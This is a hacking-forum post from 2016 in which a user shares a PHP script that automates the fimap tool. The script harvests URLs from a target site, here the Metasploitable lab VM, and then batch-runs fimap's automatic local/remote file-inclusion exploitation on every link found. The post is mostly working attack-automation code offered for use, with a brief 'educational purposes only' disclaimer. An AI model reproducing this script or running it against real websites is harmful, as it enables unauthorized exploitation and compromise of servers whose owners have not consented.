![]() |
|
php script: fimapbatchautoawsome.php - Printable Version +- Sinisterly (https://sinister.li) +-- Forum: Hacking (https://sinister.li/Forum-Hacking) +--- Forum: Website & Server Hacking (https://sinister.li/Forum-Website-Server-Hacking) +--- Thread: php script: fimapbatchautoawsome.php (/Thread-php-script-fimapbatchautoawsome-php) |
php script: fimapbatchautoawsome.php - Num5kull - 06-27-2016 Hi just dropping something i made out of some php template it runs a fimap harvest on a website and writes the links to url.txt it then batch runs auto-awsome on each link in url.txt Code: <?php exec("fimap -H -d 2 -u 'http://metasploitable.vm' -w url.txt"); $handle = fopen("url.txt", "r"); if ($handle) { while (($line = fgets($handle)) !== false) { exec("fimap -4 -u '$line' "); // process the line read. } fclose($handle); } else { exit(); // error opening the file. } exit(); ?> next run python fimap.py -X and see what you have Enjoy This is for educational Purposes Only |